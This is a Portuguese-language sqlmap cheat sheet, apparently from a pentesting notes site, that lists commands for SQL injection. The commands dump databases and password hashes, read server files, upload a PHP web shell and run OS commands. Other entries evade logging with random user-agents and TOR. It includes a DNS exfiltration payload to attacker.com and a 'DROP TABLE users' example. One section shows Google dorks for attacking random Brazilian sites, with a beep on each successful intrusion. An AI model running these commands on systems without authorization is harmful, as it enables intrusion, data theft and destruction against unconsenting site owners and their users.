SQLMAP
Atualizando
sqlmap --update
# Ou
sudo apt install --only-upgrade sqlmapErro de Certificado
Algumas vezes podemos receber erro de certificado Erro de SSL: [CRITICAL] can't establish SSL connection ao executar o sqlmap. Para resolver, basta abrir o Burp Suite, deixar no Intercept Off, e adicionar --proxy="http://127.0.0.1:8080" no final do comando do sqlmap.
Ou caso queira ignorar o certificado de outra maneira, basta executar o Sqlmap da seguinte forma
sqlmap -u '<url>' --force-ssl Listando os Databases
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbsOBS.: Caso já saiba qual o tipo de banco de dados, pode definí-lo para agilizar o processo, adicionando ao final do comando --dbms=mysql.
Baixando todos os databases, exceto sysdbs.
sqlmap -u "<url>" --dump-all --exclude-sysdbsListando as Tabelas
Do database atual
sqlmap --url "<url>" -D <database> --tablesRetorna as tabelas de todos os databases
sqlmap -u "<url>" --tables --dumpVisualizando a estrutura de todas as tabelas do database atual
sqlmap -u "<url>" --schemaListando as Colunas de uma Tabela
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D <database> -T <table> --columnsSalvando as Informações (Dump)
Agora iremos pegar todas os valores das colunas e fazer um dump em CSV dessas informações. Também é possível salvar em HTML ou sqlite, o parâmetro --dump-format. Remova o -C <column>.
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D <database> -T <table> -C <column_name>,<other_column_name>,<other_column_name> --dumpCaso queira trazer determinados registros da tabela, por exemplo, do 2º registro até o 5º, utilize o seguinte comando:
sqlmap -u "<url>" --dump -D <database> -T <tabela> --start=2 --stop=5Definindo qual Parâmetro deve ser Testado
sqlmap -u <url> -p <possivel_campo_vulneravel>Verificando o Database Atual
Verifica em qual database a aplicação web está conectada no momento
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-dbVerificando o User Atual
Verifica qual o user que a aplicação web está utilizando no momento
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-userPegando Versões do Banco de Dados, SO e Apache / NGNIX
Verifica o banner do Bando de Dados, e a versão do :
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --bannerVerificando se o User Atual é DBA
DBA é um usuário com permissões especiais
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dbaRetornando Todos os Users do Banco de Dados
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --usersDefinindo a Quantidade de Colunas no Union
Só utilize esse parâmetro quando realmente souber quantas colunas devem ser enviadas no Union
sqlmap <url> --union-cols=<quantidade>Por padrão o sqlmap utiliza NULL nos valores do Union, então podemos alterar esse valor da seguinte forma
sqlmap <url> --union-char='<valor_union>'Otimizando Scanners
Ativa todas as opções de otimização
sqlmap -u <url> -o --dbsPesquinsando por nome de Tabelas e Colunas
Pesquisa por todas as tabelas que contem o nome user em seu nome. Esse filtro é semelhante a um LIKE '%user%'. Altere o user pela palavra-chave que deseja buscar
sqlmap -u "<url>" --search -T userNesse exemplo, não especificamos o database, então irá ser feito uma busca por todas as Datatables e todas as suas respectivas tabelas, o que pode levar um tempo considerável.
Da mesma forma do modo anterior de pesquisar trechos de nomes em tabelas, porém dessa vez em colunas. Vamos utilizar a string pass como exexmplo
sqlmap -u "<url>" --search -C passUtilizando Condições WHERE
sqlmap -u "<url>" -D <database> -T <table> --dump --where="<condicao_where>"Lendo Arquivos do Servidor
sqlmap -u "<url>" --file-read=<file>OBS.: Pode ser que o SQLMap não mostre o conteúdo do arquivo na tela, mas sim salvar no seu diretório. Leia a saída para ver o local do arquivo
Executando Queries Personalizadas
sqlmap -u "<url>" --sql-query="SELECT * FROM <table>;"OBS.: Adicione o ; no final da query
Alterando o User-Agent
O SQLMAP faz muito ruído e cria muitos registros em /var/log/apache2/access.log com o nome sqlmap em seu User-Agent.
É sempre uma boa prática mascarar nosso User-Agent para não sermos detectados facilmente
sqlmap -u "<url>" --dbs --user-agent="<user_agent>"OBS.: Caso prefira deixar que o SQLMAP escolha o User-Agent de forma aleatória, utilize o parâmentro --random-agent ao invés de --user-agent="<user_agent>".
Caso esteja fazendo um teste onde o User-Agent tem que ser de um mobile, utilize o seguinte comando como exemplo para ter um valor válido randômico
sqlmap -u <url> --mobileHashes de Usuários MySQL
sqlmap -u "<url>" --passwords --batchCriando Shell Interativo:
O SQLMAP cria um arquivo no /var/www/html/ (o caminho pode ser definido caso precise) que serve como um Shell Reverso
sqlmap --url "<url>" --os-shellUpload de Arquivos
sqlmap -u "<url>" --file-write "<shell.php>" --file-dest "/var/www/html/<shell.php>"Prefixo e Sufixo
As vezes precisamos que nosso payload tenha determinado prefixo e/ou sufixo.
sqlmap -u "<url>/?id=param" --prefix="%'))" --suffix="-- -"Anti CRSF
Se não especificar o nome do valor, o sqlmap irá fazer uma pesquisa por possíveis e irá questionar qual deles deve ser tratado com um CSRF
sqlmap -u "<url>" --data="id=1&csrf-token=o9NEn4e1l2f3SndSnE8SvW4f8fpv" --csrf-token="csrf-token"Valores Random
Em alguns casos, é necessário enviar sempre um valor único nas requisições. Considere isso como um anti CSRF, porém mais fraco, pois esse valor informado não é validado, ele apenas precisa existir e não ser um valor repetido
sqlmap -u "<url>/?csrf=123456789" --randomize=csrf --batchTrabalhando com Cookies
sqlmap -u "<url>" --cookie='<cookie>' --dbsDefinindo Payload como Verdadeiro
Determinada string na resposta de requisição
sqlmap <url> --string="<string>"Valida status 200 HTTP como um payload com sucesso
sqlmap <url> --code=200Valida o payload a partir do do HTML
sqlmap <url> --title="<string>"Executando Comandos no Shell
sqlmap --url "<url>" --os-cmd="<command>"Usando Threads
sqlmap -u "<url>" --threads=5 --dbsUsando Proxy
# Sem credenciais
sqlmap -u "<url>" --proxy="http://{ip}:{port}" --dbs
sqlmap -u <url> --proxy="socks4://<ip>:<port>"
# Com credenciais
sqlmap -u "<url>" --proxy="http://{ip}:{port}" --proxy-cred=<username>:<pass> --dbsTOR
Inicie o TOR e execute o comando abaixo para verificar se realmente está funcionando. O sqlmap irá simplesmente acessar o site https://check.torproject.org/ e verificar se está conectado corretamente
sqlmap --check-torUtilizando TOR nas requisições
sqlmap -u <url> --torWAF
Utilize o parâmetro --identify-waf, que e o substituto do --check-waf
sqlmap -u "<url>" --identify-wafPor padrão o sqlmap realiza verificações de WAF (o que gera mais ruídos e lentidão na finalização do scan). Para remover essa verificação inicial utilize o comando abaixo:
sqlmap -u <url> --skip-wafEval (Python)
Repare que as variáveis no parâmetro --eval, tem o mesmo nome que os parâmetros passados via GET. Ao executar o comando dessa maneira, o valor de token (via GET) será o valor de id em MD5.
sqlmap -u 'http://site.com?id=1&token=3026178396' --dbms=mysql --eval="import hashlib; token=hashlib.md5(id).hexdigest()"Caso queira ver quais URL estão sendo requisistadas, adicione -v 5 | grep URI no final do comando acima ou utilize algum proxy como o Burp Suite para realizar tal verificação.
Level e Risco
Há também opções de level e risk, sendo estes parêmetros os responsáveis pelo ruído, que vai de 1 à 5 (1 o mais discreto e 5 o mais barulhento) no level e de 1 à 3 no risk:
sqlmap -u "<url>" --level=5 risk=3 --dbsVerbose
O modo verbose vai de 0 a 6 (o padrão é 1), sendo 0 (zero) o mais discreto e 6 o mais detalhado
sqlmap --url "<url>" --dbs -v 1Caso for utilizar verbose em um nível, pode-se remover as "sujeiras" das respostas das páginas web.
sqlmap -u <url> -v 6 --text-onlyOut-of-band SQL Injection
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))Este é considerado um dos tipos mais avançados de SQLi, usado nos casos em que todos os outros tipos não são suportados pelo aplicativo da Web vulnerável ou são muito lentos (por exemplo, Blind SQLi baseado em tempo). O SQLMap suporta SQLi fora de banda por meio de "exfiltração de DNS", em que as consultas solicitadas são recuperadas por meio do tráfego DNS.
Ao executar o SQLMap no servidor DNS para o domínio sob controle (por exemplo, .domain.com), o SQLMap pode executar o ataque forçando o servidor a solicitar subdomínios inexistentes (por exemplo, foo.domain.com), onde foo seria o Resposta SQL que queremos receber. O SQLMap pode então coletar essas solicitações de DNS com erro e coletar a parte foo, para formar a resposta SQL inteira.
Limpando o Cache
O SQLMAP guarda todos os resultados em cache.
Para zerar o cache e realizar uma nova consulta, utilize o parâmentro adicional --flush-session.
Utilizando Dorks para Atacar Sites Aleatórios
sqlmap -g 'inurl:noticias.php?id site:com.br' --dbs --gpage 2O parâmetro --gpage 2, indica que será filtrado somente os sites da 2ª página do Google.
OBS.: Essa Dork é a mesma utilizada pelo Google
Também pode utilizar o parâmetro --beep para emitir um som (beep) a cada site invadido com êxito.
Assim não precisa ficar em frente o pc acompanhando os resultados
Automatizando Respostas
Utilize o parâmetro --batch para aceitar todas as perguntas com respostas padrões (como se estivesse apertando ENTER)
sqlmap -g <dork> --dbs --batchPara definir determinadas respostas para determinadas perguntas, utilize:
sqlmap -g <dork> --dbs --answers="test=Y,POST=y"OBS.: Em answers, utilize como parâmetro, alguma palavra da pergunta
Injections em Formulários (POST)
sqlmap -u {url} --forms --dbsOBS.: Atente-se nas perguntas, pois uma precisa ser definido qual form será atacado, levando em conta de que uma página pode ter mais de um formulário.
Definindo qual campo do form que está vulnerável
sqlmap -u "<url>" --data="login=&senha" -p login --dbsPersonalizando Inserção de Payload
Quando já sabemos de algum payload que já funciona, podemos utilizar o SqlMap para inserir comando em apenas uma parte do nosso payload
sqlmap -u '<url>' --data 'username=admin" * --"' --method POST -v3 --dbsO SqlMap irá inserir o payload no lugar do *
Método HTTP
sqlmap -u <site> --data='id=1' --method PUTPersonalizando Headers
sqlmap -u '<url>' -H 'Content-type: Application/json' --dbsArquivo de Request (Cabeçalho HTTP)
Podemos também utilizar um arquivo com configuração da requisição para que o Sqlmap leia e realize o ataque. Para isso, utilize ferramentas como o BurpSuite ou o Tamper HTTP (Plugin do Mozilla). Abaixo segue um exemplo abaixo:
POST /torrent/login.php HTTP/1.1
Host: 10.10.10.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.6/torrent/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
DNT: 1
Connection: close
Cookie: PHPSESSID=76d0b2d828fb68a90dbf4285268c6781
Upgrade-Insecure-Requests: 1
username=admin&password=adminAgora podemos utilizar o comando
sqlmap '<url>' -r <arquivo_cabecalho_http> --dbsOBS.: Pode-se pegar esse cabeçalho com o Burp Suite , em Proxy > Intercept.
Log de Tráfego
Útil para vermos os requests e responses de cada requisição e fazer uma análise manual
sqlmap <url> -t <output-traffic.txt>Tamper
Listando todos os tampers disponíveis e suas descrições.
sqlmap --list-tampersConvertendo o payload em charunicode
sqlmap -u <url> -d 'param=*' --tamper=charunicodeescape --dbsConvertendo o payload em Hex e em Base64
sqlmap -u <url> -d 'param=*' --tamper=0x2char,base64encode --dbsTécnicas
Existem 6 tipos de técnicas que podemos utilizar para realizar uma invasão de SQL Injection, sendo elas:
TÉCNICA
DESCRIÇÃO
EXEMPLO
(B) Boolean-Based Blind
Com base nas mudanças de página, os dados são inferidos, caractere por caractere
AND 1=1
(E) Error-Based
Usa os erros que são exibidos para extrair dados
AND GTID_SUBSET(@@version,0)
(U) Union Query-Based
Mudanças de consultas SQL para extrair dados
UNION ALL SELECT 1,@@version,3
(S) Stacked Queries
Ponto e vírgula são usados para injetar várias declarações sobre a consulta SQL
; DROP TABLE users
(T) Time-Based Blind
Com base no tempo, os dados são inferidos, caractere por caractere
AND 1=IF(2>1,SLEEP(5),0)
(Q) Inline Queries
Utiliza Sub-query
SELECT (SELECT @@version) from
Para selecionar uma ou mais opções, utilize as suas iniciais (exceto Inline Queries, que é representada pela letra Q), por exemplo:
sqlmap -u '<url>' --technique=BEUSTQNeste exemplo, será executado todas as 5 técnicas (que é o default do SQLMAP), pois indica a inicial de todos os ataques.
Sites
# Sqlmap
https://github.com/sqlmapproject/sqlmap/wiki/UsageLast updated
Was this helpful?